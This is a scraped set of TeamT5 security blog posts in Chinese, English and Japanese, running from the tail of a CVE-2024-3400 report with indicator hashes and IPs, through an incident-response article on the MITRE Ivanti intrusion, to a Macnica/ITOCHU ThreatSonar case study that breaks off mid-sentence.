661b77ece99938090582d2e92e96417b20c2a7410bcc95e7f3959f40be066b34
949cfa6514e499e28aa32feba800181558e60455b971206aa5aa601ea1f55605
ab3b9ec7bdd2e65051076d396d0ce76c1b4d6f3f00807fa776017de88bebd2f3
710f67d0561c659aecc56b94ee3fc82c967a9647c08451ed35ffa757020167fb
5f4699232d6c95cb4b4b6390998fc754a751c6018d9fd79f22bf423de2430ca8
2cae066e5239bb69bdb7a7f36374e2493793576024c51e06f046a61f990ffce7
8ef883085b48c0e1b733640d171ebc574ddfd5a231620f10926f83573abe4317
```


IP

``` 144.172.79.9 ``` 
``` 172.233.228.93 ``` 
``` 66.235.168.222 ``` 
``` 89.187.187.69 ```

### Appendix III: Other critical CVEs

Below link of another TeamT5 vulnerability report, **Patch Management Report (PMR)**. Published every two weeks (or more), the PMR will provide our customers with concise yet comprehensive updates on the most critical and exploitable vulnerabilities selected by TeamT5 vulnerability research team during the period. Each vulnerability will be provided with patch information. If you are interested in subscribing to this new report series, please contact TeamT5 for more information.

[Patch Management Report](https://threatvision.org/reports/vulnerability/pm-report/pmr-detail?pmReport=2023-Apr-2)

 

##Reference
1. https://github.com/pwnj0hn/CVE-2024-3400/blob/main/main.py
2. https://security.paloaltonetworks.com/CVE-2024-3400 
3. https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/
4. https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
5. https://threatvision.org/downloads
6. UPStyle first identified and named by Volexity during the investigation on SLIME61’s attacks exploiting CVE-2024-3400. https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/

>**Threat Analyst Summit 2024 : Call for Presentations !**

>In the ever-evolving landscape of cybersecurity, staying one step ahead is not just an advantage – it's imperative. Join us at this year's Threat Analyst Summit, where we bring together the brightest minds in the industry to explore, learn, and collaborate. Our theme, "Stay Informed, Stay Secure", underscores the critical role of continuous intelligence in safeguarding against emerging threats.

>With the rapid evolution of ICT, TeamT5 encourages pioneering research that addresses not only technical challenges but also the legal, policy, economic, psychological, and societal aspects of cybersecurity. We invite you to submit presentations.

>- Final Deadline for Submissions: August 15, 2024, 22:00 UTC+8 (14:00 UTC+0)
>- More info: [link](https://tas2024.teamt5.org/CFP?utm_source=event&utm_medium=website)

CVE-2024-3400: Palo Alto GlobalProtect の脆弱性

資安事件常發生在細微之處，如果不特別注意，很可能無法及時應變與處理。

作為 ATT&CK 攻擊框架的提出者，美國資安非營利組織 [MITRE 卻也面臨了 APT 的攻擊事件](https://www.darkreading.com/endpoint-security/mitre-attacked-infosecs-most-trusted-name-falls-to-ivanti-bugs)。

從 2024 年 1 月開始，威脅行為者透過兩個 Ivanti Connect Secure 零日漏洞：CVE-2023-46805 和 CVE-2024-21887，偵查 MITRE 組織旗下的網路，並挾持連線階段（Session），繞過雙因素身份驗證流程，藉著橫向移動，深入挖掘 MITRE 網路的 VMware 基礎架構，同時使用複雜的後門和 webshell，以便持續存取 MITRE 內部網路環境，取得帳密資料。

##資安事件的過去、現在與未來
MITRE 處理此資安事件的過程，值得我們去探討與學習。其一，組織要防堵資安事件的發生，偵測（Detection）是非常重要的，需要即時偵測場域中的異常行為；其二，利用網路隔離不讓攻擊者直搗核心，讓傷害在可控範圍內。更重要的是威脅情資（Threat Intelligence），當漏洞發生時，可以對場域做評估與處理。在與攻擊者交戰（Adversary Engagement）過程中，該怎麼採取措施，讓損害降到可以控制的範圍內。

當資安事件發生，透過一系列的事件處理流程，不外乎是從資安事件的「**過去**發生什麼事？」、「**現在**該如何應處？」以及「**未來**如何強化應對？」三面向來了解：
- 攻擊者最初的進入存取點為何？
- 攻擊者是否有散播到其他資源？例如橫向移動是如何傳播？
- 攻擊者是否已在環境中立足？如果是，持續控制的方式為何？
- 對於企業的衝擊為何？例如個資外洩等。
- 如何可以防止不被再次攻擊？

##先一步掌握攻擊過程，擬定資安維運策略

根據 TeamT5 長期以來資安事件處理的經驗，攻擊初始多肇因於帳號密碼外洩，漏洞也是重要成因。對於資安人員來說，每天要注意的不僅是攻擊組織帶來的資安威脅，更需要掌握場域內的資產狀況，特別關注資產相關的最新漏洞資訊。此外，藉由掌握攻擊者的攻擊過程，並落實在日常資安維運，提升組織防禦能力。

從[網路攻擊鏈（Cyber Kill Chain）](https://teamt5.org/tw/posts/what-is-cyber-kill-chain/?utm_source=blog&utm_medium=website)可掌握資安事件發生前、事中到事後的各個環節。網路攻擊者透過偵查了解環境、研究曝險弱點，進入環境安裝內網滲透工具，最後根據攻擊者的最終目標，採取行動，例如 APT 藉由潛伏環境竊取機敏資料、勒索軟體則加密核心重要資訊等。

相對應攻擊事件的過程，我們可從美國國家標準與技術研究所（NIST）所發布的網路安全框架 [CSF 2.0](https://www.nist.gov/cyberframework)，歸納出場域管控可依循的標準、對策及防禦措施：

 
![pic_how-to-respond-to-cybersecurity-incidents-and-improve-the-resilience-of-cybersecurity-defense.jpg](https://uploads.teamt5.org/upload/original/pic_how-to-respond-to-cybersecurity-incidents-and-improve-the-resilience-of-cybersecurity-defense.jpg)

 

在事前，透過紅藍隊演練來了解場域中，有哪些資產可能會有風險，及早準備。當資安事件發生，需要偕同外部事件應變專家協處，了解攻擊來源、後續阻擋、事件分析等，雙方之間的協作也很重要。這些對策和防禦措施統整之後，才能在事件發生時做有效應變。

## 攻擊者虎視眈眈，如何強化資安韌性？
[Gartner 發佈 2024 年網路安全重要趨勢](https://www.gartner.com/en/newsroom/press-releases/2024-02-22-gartner-identifies-top-cybersecurity-trends-for-2024)中，特別強調資安韌性（Resilience）的重要。根據 [NIST](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-160v2r1.pdf) 所定義的網路韌性，是當組織遭遇網路攻擊時，可能會面臨到的狀況，例如服務中斷、資料外洩、加密勒索等，該組織處理與復原的能力，以及如何增強面對未來攻擊的防禦能力。

因此，要強化資安韌性，就必須考量到如何優化事件回應規劃。例如事件調查耗費時間，如何在短時間內做回應？同時，被攻擊後如何快速恢復系統運作？因此優化與協力廠商的合作極為重要，才不會在事件發生時手忙腳亂。

藉由事件處理的經驗，可以檢視以下面向，提早準備以強化資安韌性、降低損害：
1 資產安全狀況：場域中有多少資產受網路衝擊？狀況如何？
2. 攻擊面分析：場域中可能被攻擊者利用的進入點分析研判。
3. 掌握威脅情資：掌握與組織相關的威脅情資，例如 APT、暗網、勒索族群等，對於資產會造成什麼影響？
4. 判定風險優先順序：就所掌握的資訊，研判場域風險狀況，提供後續應變處理所需建議。
5. 風險處置管理：針對重要資產的備份恢復、調查所需資料取證，在事件可控狀態下，恢復營運，並完善事件調查所需程序。
6. 掌控場域狀況：針對所採取的應變措施，持續監控掌握場域狀況，觀察是否仍有惡意攻擊，並清掃場域中隱藏的惡意威脅。


> 更多 TeamT5 資安事件應變處理服務：[立刻了解](https://teamt5.org/tw/service/ir/?utm_source=blog&utm_medium=website)

如何從資安事件應變處理，提升資安防禦韌性？

Cybersecurity incidents often occur in subtle places. If you don’t pay special attention, you may not be able to respond and contain them in time.

As the developer of the MITRE ATT&CK framework, non-profit organization [MITRE has also faced APT attacks](https://www.darkreading.com/endpoint-security/mitre-attacked-infosecs-most-trusted-name-falls-to-ivanti-bugs).


Starting in January 2024, hackers exploited two zero-day vulnerabilities in Ivanti Connect Secure—CVE-2023-46805 and CVE-2024-21887—to perform reconnaissance on the MITRE organization's network and bypass the multifactor authentication (MFA) protecting the system with session hijacking. The attackers moved laterally and dug deep into MITRE network’s VMware infrastructure using a compromised administrator account and deployed complex backdoors and webshells to gain persistent access to credentials.

##The past, present and future of cybersecurity incidents
MITRE's response process of this cybersecurity incident is worth discussing and learning from. First, if organizations would like to prevent the occurrence of incidents, detection is very important. Real-time anomaly detection is necessary. Second, network isolation is used to prevent attackers from getting to the core, allowing the damage to be within control. What is more important is threat intelligence feeds, which make it possible to evaluate and handle the vulnerabilities. In the process of adversary engagement, organizations should consider how to take measures to minimize the damage.

When a cybersecurity incident occurs, through a series of incident response processes, it is nothing more than three aspects of the incidents: "What happened in the **past**?", "How to deal with it **now**?" and "How to strengthen the response in the **future**?" to figure out:
- What is the attacker's initial access point?
- Did the attacker spread to other resources? If so, how did lateral movement happen?
- Has the attacker gained a foothold in the environment? If so, what is their method of persistence?
- What impact do breaches have on businesses? For example, credentials leakage, etc.
- How can this be prevented next time?

##Understand cyber kill chain and formulate security maintenance strategies
According to TeamT5’s long-term experience in handling incidents, initial attacks are often caused by credential leakage and vulnerabilities. For cybersecurity personnel, their daily work not only requires close attention to security threats posed by adversaries, but also the state of digital assets in the environment, especially on the latest vulnerability information related to their assets. In addition, by understanding the attack process and implementing the measures in daily cybersecurity maintenance, the organization's defense capabilities can be improved.

From the [cyber kill chain](https://teamt5.org/en/posts/what-is-cyber-kill-chain/?utm_source=blog&utm_medium=website), you can understand all aspects before, during, and after the occurrence of a security incident. Attackers understand the environment through reconnaissance, researching exposed vulnerabilities, entering the environment to install intranet penetration tools, and finally taking actions to attain the attacker's ultimate goal. For example, APT involves stealing credentials through lurking in the environment, and ransomware is used to encrypt important data, etc.

Corresponding to the process of the attack incident, we can summarize the standards, countermeasures and defensive measures that can be followed security control from the [Cyber Security Framework (CSF) 2.0](https://www.nist.gov/cyberframework) released by the National Institute of Standards and Technology (NIST):

 
![pic_en_how-to-respond-to-cybersecurity-incidents-and-improve-the-resilience-of-cybersecurity-defense](https://uploads.teamt5.org/upload/original/pic_en_how-to-respond-to-cybersecurity-incidents-and-improve-the-resilience-of-cybersecurity-defense.jpg)
 


During the pre-compromise process, organizations can get prepared by adopting red team/blue team simulations to understand which assets in the environment may be at risk. When an incident occurs, it is necessary to work with external incident response experts to understand the source of the attack, follow-up prevention, incident analysis, etc. Collaboration between the two parties is also very important. Only after these countermeasures and defense measures are integrated, effective responses can be taken when an incident occurs.

##How do we strengthen security resilience?
According to the[ top cybersecurity trends for 2024 released by Gartner](https://www.gartner.com/en/newsroom/press-releases/2024-02-22-gartner-identifies-top-cybersecurity-trends-for-2024), the importance of security resilience is particularly emphasized. Cyber resilience, as defined by [NIST](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-160v2r1.pdf), refers to the organization’s ability to anticipate, withstand, recover from and adapt to attacks, such as service interruption, data leakage, encryption ransomware, etc. and defense against future attacks.

Therefore, to strengthen security resilience, we must consider how to optimize incident response planning. For example, since incident investigation takes time, how can we respond in a short time? Meanwhile, how can we quickly restore system operations after being attacked? Therefore, it is extremely important to optimize cooperation with third parties so that you will not be in a fluster when an incident occurs.

ThroughTeamT5’s experience of incident response, we suggest organizations to examine the following aspects and prepare in advance to strengthen the security resilience and reduce risks of damage:
- **Asset security status**: Which assets in the environment are impacted by cybersecurity incidents? What is the situation?
- **Attack surface analysis**: Analysis and identifications of initial points in the environment that may be exploited by attackers.
- **Threat intelligence**: What impact will these threat intelligence related to the organization, such as APTs, darknets, extortion groups, etc. impact on our assets?
- **Determine risk priorities**: Based on the information, organizations can evaluate the risk status of the site and have suggestions for subsequent contingency measures.
- **Risk management**: Backup and restore important assets, collect evidence required for investigation, resume operations when the incident is controllable, and improve the procedures required for incident investigation.
- **Control the security situation**: Based on the contingency measures taken, continuously monitor and control the situation of the environment, observe whether there are still malicious attacks, and eliminate hidden malicious threats.

 

>Learn more about [TeamT5 Incident Response Services](https://teamt5.org/en/service/ir/?utm_source=blog&utm_medium=website)

How to enhance security resilience from the process of incident response?

サイバーセキュリティインシデントは、多くの場合が不意を突かれることで発生します。注意を払わなければ、対応や封じ込めに時間がかかってしまう可能性があります。

アメリカの非営利団体 MITREは、MITRE ATT&CK フレームワークの開発者ですが、 [APT 攻撃に直面しています](https://www.darkreading.com/endpoint-security/mitre-attacked-infosecs-most-trusted-name-falls-to-ivanti-bugs)。

2024年1月から、ハッカーはIvanti Connect Secureの2つのゼロデイ脆弱性（CVE-2023-46805とCVE-2024-21887）を悪用し、MITRE組織のネットワーク上で偵察を行い、セッションハイジャックによってシステムを保護する多要素認証（MFA）を回避しました。攻撃者は横方向に移動し、侵害された管理者アカウントを使用してMITREネットワークのVMwareインフラストラクチャに深く潜り込み、複雑なバックドアとWebシェルを展開して認証情報への永続的なアクセスを獲得しました。

##サイバーセキュリティインシデントの過去、現在、未来
このサイバーセキュリティインシデントに対するMITREの対応プロセスは、議論し学ぶ価値があります。まず、組織がインシデントの発生を防ぎたい場合、リアルタイムの異常検知が非常に重要です。次に、攻撃者からの攻撃を防ぐためには、攻撃者がコアに到達するのを防ぐためにネットワークの分離を行いう必要があります。さらに重要なのは、脅威インテリジェンスのフィードであり、これにより脆弱性を評価し、対処することが可能になります。

サイバーセキュリティインシデントが発生した場合、一連のインシデント対応プロセスを通じて、「過去に何が起こったのか」「今、どのように対処するのか」「今後、どのように対応を強化するのか」3つのを念頭に置く必要があります：

- 攻撃者の最初のアクセス ポイントはどこか?
- 攻撃者は他のリソースに拡散したのか? 感染した場合、ラテラルムーブメントはどのように起こるのか?
- 攻撃者はその環境に足場を築いたのか? その場合、どのように維持しているのか?
- 認証情報の漏洩など、侵害は企業にどのような影響を及ぼすのか?
- 次回はどのように攻撃を防ぐのか？


##サイバーキルチェーンを理解し、セキュリティ維持戦略を策定する

TeamT5のインシデント対応における長期的な経験によれば、初期の攻撃は多くの場合、認証情報の漏洩や脆弱性によって引き起こされます。サイバーセキュリティ担当者にとって、日々の業務では、攻撃者がもたらすセキュリティ上の脅威に細心の注意を払うだけでなく、環境内のデジタル資産の状態、特に資産に関連する最新の脆弱性情報にも注意を払う必要があります。また、攻撃のプロセスを理解し、日々のサイバーセキュリティのメンテナンスにおいて対策を実施することで、組織の防御力を向上させることができます。


[サイバーキルチェーン](https://teamt5.org/jp/posts/what-is-cyber-kill-chain/?utm_source=blog&utm_medium=website)から、セキュリティインシデントの発生前、発生中、発生後のすべての側面を理解することができます。攻撃者は、偵察を通じて環境を把握し、暴露された脆弱性を調査および環境に侵入してイントラネット侵入ツールをインストールして、最終的に目標を達成するための行動を実行します。例えば、APTは、環境に潜伏して認証情報を盗み出したり、ランサムウェアを使って重要なデータを暗号化することに使用されます。

攻撃インシデントのプロセスに対応し、米国国立標準技術研究所（NIST）が発表[したサイバーセキュリティフレームワーク（CSF）2.0](https://www.nist.gov/cyberframework) から、セキュリティコントロールに沿った基準、対策、防御策をまとめることができます：

**TeamT5 インシデント対応サービスの詳細について**
![pic_jp_how-to-respond-to-cybersecurity-incidents-and-improve-the-resilience-of-cybersecurity-defense.jpg](https://uploads.teamt5.org/upload/original/pic_jp_how-to-respond-to-cybersecurity-incidents-and-improve-the-resilience-of-cybersecurity-defense.jpg)
 


侵害前のプロセスにおいて、組織はレッドチーム／ブルーチームによるシミュレーションを採用し、環境内のどの資産がリスクにさらされる可能性があるかを理解することで、準備を整えることができます。また、インシデントが発生した場合は、外部のインシデント対応専門家と連携し、攻撃源の把握、事後対策、インシデント分析などを行う必要がるので、両者の連携も非常に重要です。これらの対策や防御策が統合されて初めて、インシデント発生時に効果的な対応が可能になります。

##サイバーレジリエンスを高めるには？
[Gartner が発表した 2024 年のサイバーセキュリティのトップトレンドによると](https://www.gartner.com/en/newsroom/press-releases/2024-02-22-gartner-identifies-top-cybersecurity-trends-for-2024)、サイバーレジリエンスの重要性が特に強調されています。[NIST](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-160v2r1.pdf) が定義するサイバーレジリエンスとは、サービスの中断、データ漏えい、暗号化ランサムウェアなどの攻撃を予測し、それに耐え、回復し、適応する組織の能力と、今後の攻撃に対する防御力を指します。

したがって、サイバーレジリエンスを強化するには、インシデントの調査には時間がかかるため、いかに短時間で対応するか、攻撃を受けた場合はどのようにシステム復旧を迅速に行うかなど、インシデント対応のプロセスをいかに最適化するかを考える必要があります。そのためには、インシデント発生時に慌てないよう、第三者との連携を最適化することが非常に重要です。

TeamT5のインシデント対応の経験を通して、私たちは、組織がサイバーレジリエンスを強化し、被害のリスクを軽減するための以下の点を検討し、事前に準備することを提案いたします：
- **資産セキュリティの状況**: 環境内のどの資産がサイバーセキュリティインシデントの影響を受けているのか?
- **攻撃対象領域の分析**: 攻撃者によって悪用される可能性のある環境内の第一ポイントの分析および特定
- **脅威インテリジェンス**: APT、ダークウェブ、恐喝グループなど、組織に関連するこれらの脅威インテリジェンスは、企業の資産にどのような影響を及ぼすのか？
- **リスクの優先順位の決定**: 情報に基づいて、サイトのリスク状態を評価し、その後の緊急時対応策についての提案をする
- **リスク管理**: 重要な資産のバックアップと復旧、調査に必要な証拠の収集、インシデントが制御可能になった場合の業務の再開、インシデント調査に必要な手順の改善
- **セキュリティ状況の管理**: 不測の事態への対策に基づき、環境の状況を継続的に監視ならびに管理し、悪意のある攻撃がまだ行われていないかどうかを観察して、隠れた悪意のある脅威を排除する

インシデント対応のプロセスからサイバーレジリエンスを強化するには?

在您不知道的暗網多重宇宙中，是否有地下組織販售正在販售您的帳號資訊，而您悄然不知？
倘若遭犯罪份子鎖定，您所外洩的帳號憑證，都可能足以是摧毀企業組織關鍵設施的最後一根稻草！

本次分享中，TeamT5 杜浦數位安全探討深暗網的犯罪面向，以及如何運用深暗網產品降低風險，幫助企業禦敵機先！

- 填寫表單即可觀看完整影片：https://bit.ly/3yAbEf8

 

- TeamT5 的 ThreatVision 深暗網風險監控 產品介紹: [連結](https://teamt5.org/tw/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website)
- 欲了解更多我們的深暗網情資產品，歡迎 [點此洽詢](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)

【研討會影片】帳密悄悄洩，杜浦解危新戰略

>日本最大資安解决方案提供商 Macnica Networks 提供的「Mpression 威脅狩獵服務」，是由資安分析師針對 TeamT5 杜浦數位安全研發之 [ThreatSonar](https://teamt5.org/tw/products/threatsonar/?utm_source=blog&utm_medium=website) 掃描結果，進行分析，並為客戶執行威脅獵捕。
>
>此外，透過整合長期累積威脅情資所創建的客製化特徵偵測，對於針對日本攻擊的偵測率能有效提升。威脅獵捕服務提供單次掃描和年度訂閱制。

##亮點
- 透過獨特 AI 偵測技術，並由分析師進⾏分析，獵捕繞過既有安全產品檢測的進階針對性攻擊。
- 調查 20,000 台設備，建⽴從資訊收集，到偵測與回應的診斷⽣命週期
- 針對無 IT 管理者的海外據點，提供端點安全可視化

## 伊藤忠商事 ITCCERT 專注於事件防禦
近年來，由於犯罪目的趨於產業化，網路攻擊變得更加進階和複雜，針對企業和組織的攻擊已成為管理風險。此外，以牟利為標的的勒索軟體和電子郵件詐騙等攻擊，是許多公司常遭遇的威脅。因此，近年來越來越多組織成立電腦資安應變小組（Computer Security Incident Response Team, CSIRT），以應對各種資安事件。

伊藤忠商事 CSIRT 於 2012 年成立，名為「ITCCERT」。其中的「R」包含三元素：準備（Readiness）、回應（Response）、恢復（Recovery）。「ITCCERT」是在 IT 規劃部門內所創建的虛擬組織，負責管理和營運公司網路。

伊藤忠商事 IT 規劃部門 ITCCERT 資深網路安全分析師佐藤元彥表示：「ITCCERT 專注於網路安全運營，重點放在事件預防、回應、分析和防範事件再發生。伊藤忠商事集團內 300 多家公司其中任一家提出需求，ITCCERT 會直接提供支援。」

伊藤忠商事有集團系統，旗下每家公司都有自己的資訊系統部門。但當網路安全事件發生時，ITCCERT 會率先回應。此外，ITCCERT 持續監控網路通訊和從公司外部發送的電子郵件。透過根據 Macnica 累積的知識和內部制定的檢測規則，能夠掌握現有安全產品無法檢測到的威脅特徵，並不斷新增能檢測類似攻擊的規則。

透過獨立情資獲得惡意軟體通訊的目標和 Hash 等資訊，可用於保護伊藤忠商事，並防止公司發生安全事件。 
「ITCCERT 專注於事件預防，『預防事件至關重要』是我們每日工作的信念，」佐藤先生強調。

##伊藤忠商事的威脅狩獵服務
另一方面，伊藤忠商事子公司及其海外據點所使用的網路，與總部不同，因此資安防禦措施無法產生直接效果。為此，ITCCERT 專為集團內公司和海外地點，成立「I」系列網路安全計畫。

這計畫內容廣泛，包括 URL 過濾服務、電子郵件詐騙預防工具、特定網路安全風險評估，以及可立即在實際工作中發揮作用的專題討論會。其中一項服務 -「I」Discovery，是一項端點安全服務，可檢查裝置上隱藏的惡意軟體。自 2017 年 10 月推出以來，已有 20,000 多台裝置威脅檢測的追蹤記錄。其核心技術採用 Team T5 所開發的威脅狩獵工具「ThreatSonar」。

##威脅鑑識技術，收集威脅狩獵重要資訊
ThreatSonar 能快速收集電腦取證所需的資料，包括裝置上正在運行的程式、已刪除的檔案、記憶體中的資料。透過 TeamT5 自行研發的引擎，分析收集到的資訊，能精準揪出可疑檔案。

其 AI 導向的獨特行為模型，可徹底調查一般特徵導向的防毒軟體無法偵測到的可疑行為。ITCCERT 人員具備專業知識，藉由分析所收集到的資訊，可找出現有防毒軟體無法偵測到的隱藏惡意軟體。此外，透過 ITCCERT 與各子公司資訊系統部門共同分析檢測結果，Macnica 能夠快速確認適當的應對措施。

##發現現有端點安全無法偵測到的威脅
在各種端點安全方法中，佐藤先生選擇了 ThreatSonar，因其基礎技術並非防毒，而是一款可以顯著提升安全等級的優異軟體。

伊藤忠商社擁有 300 多家子公司、約 10 萬名員工。此外，作為貿易商，成立合資企業、資本和業務策略聯盟等商業活動也很活躍。因此，伊藤忠商社不強制安裝特定的端點安全產品，而是各公司依自己的需求，安裝最適合的產品。所有公司唯一的共同點，就是都安裝了防毒產品。

「新世代防毒產品仍是防毒的延伸。防毒軟體廠商在技術上各有優劣，很難全面消除所有威脅。對我來說， ThreatSonar 是極具吸引力的資安產品，能夠使公司在使用既有防毒軟體下，同時利用 ThreatSonar 的獨特功能偵測威脅。」

當 Macnica 開始提供「I」Discovery 服務，超過 50 家集團公司自願申請使用該服務。超過一半申請該計劃的公司，完成單次掃描。一些公司則開始進行定期掃描。定期執行「I」Discovery 的子公司資訊系統部門表示，對於能夠確認其設備，未受到現有資安產品無法檢測到的未知或被規避的攻擊，感到滿意。

##易於部署，是擴展至其他集團公司的決定性因素
ThreatSonar 不需要任何安裝。它只需派送並執行輕量掃描程式，就可在背景執行，使用者不需要具備任何相關專業知識或操作技能。

另一個優點則是運作時通訊輕量化，網路負載較小，不存在與作業系統或應用程式衝突或環境相依度等問題。」佐藤先生表示。

##即使在資源有限的海外據點，也能建立資安監控系統
從實際報告中發現，透過實施「I」Discovery，發現了隱藏在合法程式中多年的銀行惡意軟體。佐藤先生認為，這更能確定，該系統不僅可以檢測運作中的惡意軟體，還可以檢測使用者已安裝的潛在惡意軟體和高風險軟體。

此外，海外員工也採用「I」Discovery。部分海外據點可能沒有 IT 管理人員，或甚至只有一名外籍員工。此外，海外據點裝置所使用的 Windows 作業系統版本和語言也有所不同。 ThreatSonar 的優點之一，是可以輕鬆部署在此類環境中，且不會有執行問題。

最後，佐藤先生表示，ITCCERT 正考慮未來在「I」Discovery上應用自訂特徵，以進一步強化伊藤忠集團的資安。

##關於客戶
**伊藤忠商事**

伊藤忠商事成立於 1858 年，創辦人伊藤忠兵衛從亞麻貿易業務起步。之後，在大阪經營和服和貨物業務，奠定了事業基礎。目前伊藤忠商事在日本等全球 65 個國家，擁有約 130 個據點，為紡織、機械、金屬、能源、化工、食品、住宅、資訊、保險、物流、建築和金融等領域的大型企業，業務範圍廣泛，包括進出口和三邊貿易，以及國內外商業投資。

**官網**：https://www.itochu.co.jp/

**接受採訪者**：

伊藤忠商事 IT 規劃部門 技術管理辦公室
 
ITCCERT 資深網路安全分析師
 
佐藤元彥

 
 

>原文出自： [Macnica](https://www.macnica.co.jp/business/security/manufacturers/mpressioncss/feature_01.html)

【實務案例】ITOCHU 伊藤忠商事 CSIRT 將威脅狩獵服務擴及海外據點

>Macnica Networks offers a "Mpression Threat Hunting Service" in which the security analysts analyze the scan results from TeamT5's [ThreatSonar](https://teamt5.org/en/products/threatsonar/?utm_source=blog&utm_medium=website) and perform threat hunting on behalf of customers. Additionally, by incorporating custom signatures created based on the threat intelligence Macnica has accumulated, Macnica aims to improve the detection rate of attacks targeting Japan.
>
>The threat hunting service offers "one-time" scan and "annual" subscription.

##Point
- Advanced targeted attacks, designed to bypass existing security products, are detected by unique detection using AI technology and analysis by analysts.
- Investigated 20,000 devices and built up a diagnostic lifecycle from information collection to detection and response
- Visualize the security of endpoints at overseas locations where there is no IT administrator

## ITOCHU Corporation's ITCCERT focuses on incident prevention
In recent years, cyber attacks have become more advanced and complex due to the industrialization of criminal purposes. Attacks targeting companies and organizations have to face the management risks.
In addition, attacks aimed at making money, such as ransomware and business email fraud, are a familiar threat to many companies.

Therefore, recently more and more organizations establish a CSIRT (Computer Security Incident Response Team) to deal with cybersecurity incidents. ITOCHU Corporation launched the CSIRT in 2012 and named it as "ITCCERT". “R” includes three elements: Readiness, Response, and Recovery.

"ITCCERT is a virtual organization created within the IT Planning Department that manages and operates the company's networks. ITCCERT specializes in cybersecurity operations, focusing on incident prevention, response, analysis, and recurrence prevention. We will also provide direct support if any of the more than 300 ITOCHU Group companies request support," says Motohiko Sato, Senior Cyber Security Analyst at ITCCERT, Technology Management Office, IT Planning Department, ITOCHU Corporation.

ITOCHU Corporation has a corporation system, and each company within the corporation group has its own information system department, but when a cybersecurity incident occurs, ITCCERT takes the lead in responding.

Additionally, ITCCERT constantly monitors network communications and emails sent from outside the company. By setting its detection rules based on the knowledge Macnica accumulated in-house, users can grasp characteristics that cannot be detected by existing security products, and constantly create rules that can detect similar attacks when occur.

Information such as malware communication destinations and hashes obtained through independent intelligence activities is used to protect ITOCHU Corporation and prevent cyber security incidents occurring. 　

"ITCCERT focuses on incident prevention, and we work every day with the belief that it is important to prevent incidents from occurring," Mr. Sato emphasizes.

##ITOCHU Group's threat hunting services
On the other hand, the ITOCHU Group's companies and its overseas bases use a network different from that of ITOCHU Corporation's headquarters, so these defense measures can't result in direct effects.

For this reason, ITCCERT develops a special cyber security program "I" series for group companies and overseas locations.

This program covers wide-ranging services, including URL filtering services, business email fraud prevention tools, cybersecurity-specific risk assessments, and workshops that can be immediately useful in actual work.
One of the services, "I" Discovery, is an endpoint security service that inspects malware hidden on devices, and has a track record of threat inspections on more than 20,000 devices since its launch in October 2017. Its core technology uses the hunting tool "ThreatSonar" developed by TeamT5 from Taiwan.

##Forensic technology collects essential information for threat hunting
ThreatSonar quickly collects data needed for computer forensics, including information about running processes on a device, deleted files, and data in memory. By analyzing the collected data using a proprietary engine, it is possible to precisely extract suspicious files.

It uses a unique AI-assisted behavioral model to detect suspicious behavior, allowing for thorough investigations that cannot be detected by signature-based antivirus solutions. The collected data is analyzed by ITCCERT staff with specialized knowledge, making it possible to detect hidden malware that cannot be detected by existing antivirus software.

In addition, by jointly analyzing the detection results between ITCCERT and the information systems departments of each group company, Macnica can quickly determine the appropriate response.

##Discover threats that cannot be detected by existing endpoint security solutions
Among the various endpoint security solutions, Mr. Sato chose ThreatSonar because its basic technology is not an antivirus, but an excellent software that can significantly improve security levels.

The ITOCHU Group has over 300 subsidiaries and approximately 100,000 employees. Furthermore, from the perspective of a trading company, the establishment of joint ventures and capital and business alliances are thriving. Therefore, the ITOCHU Group does not force the installation of specific endpoint security products, and each company installs the most suitable product based on its requirements. The only thing that all companies have in common is that they have installed antivirus products.

Next-generation antivirus products are also an extension of existing antivirus software. Antivirus vendors have strengths and weaknesses in technology, and it is difficult to comprehensively eliminate all threats. For me, ThreatSonar is very appealing security product that enables companies to utilize the existing antivirus software and to detect threats with its unique features.

When Macnica started offering “I” Discovery, more than 50 group companies volunteered to use the service. More than half of the companies that applied for the program performed one-time scanning. Some companies began to perform regular scans. Information systems departments at companies that regularly run “I” Discovery are satisfied with the capabilities to confirm that their devices have not been compromised by unknown or evasive attacks, which cannot be detected by existing security products. 

##Ease of implementation is the deciding factor for expansion to group companies
"ThreatSonar does not require any installation. It simply distributes and runs a lightweight scanner, so it runs in the background without requiring any knowledge or operational skills from the users. Another advantage is that the operation communication is light, so there is less burden on the network, and there are no problems such as conflicts with the OS or applications and environment dependence.'' says  Motohiko Sato.

##Build a monitoring system even at overseas bases with limited resources
There have been reports of cases in which banking malware that had been hidden in legitimate processes for many years was discovered by implementing “I” Discovery. Mr. Sato also believes that it is reassuring that the system detects not only active malware, but also latent malware and high-risk software installed by users.

Additionally, “I” Discovery is also adopted by users based overseas. Some overseas locations may not have an IT administrator, or even only have one expatriate employee. Additionally, the devices at overseas locations vary in Windows OS versions and languages. One of the advantages of ThreatSonar is that it can be easily deployed in such environments and there are no operational problems.

Finally, Mr. Sato said that ITCCERT is considering applying custom signatures to "I" Discovery in the future, and will work to further strengthen the ITOCHU Group's security.

##User Profile
**ITOCHU Corporation**

ITOCHU Corporation was founded in 1858 when the Company's founder Chubei Itoh commenced linen trading operations in Azabu.  Afterwards, he built a foundation for his business by running a kimono and goods business in Osaka. Currently, as a major general trading company with approximately 130 bases in 65 countries around the world including Japan, ITOCHU is a major trading company in the fields of textiles, machinery, metals, energy, chemicals, food, housing, information, insurance, logistics, construction, and finance and engages in a wide range of businesses, including import/export and trilateral transactions, as well as business investment both domestically and internationally.

**Website**:
https://www.itochu.co.jp/

**Interviewee**:

ITOCHU Corporation - IT Planning Department - Technology Management Office

ITCCERT - Senior Cyber Security Analyst

Mr. Motohiko Sato

>Original article is from: [Macnica](https://www.macnica.co.jp/business/security/manufacturers/mpressioncss/feature_01.html)


Extend threat hunting services to overseas bases by ITOCHU CSIRT

>マクニカネットワークスでは、[ThreatSonar](https://teamt5.org/jp/products/threatsonar/?utm_source=blog&utm_medium=website)のスキャン結果の分析、スレットハンティングを
お客様に代わってマクニカのセキュリティアナリストが実施する「Mpression Cyber Security Service™スレッ
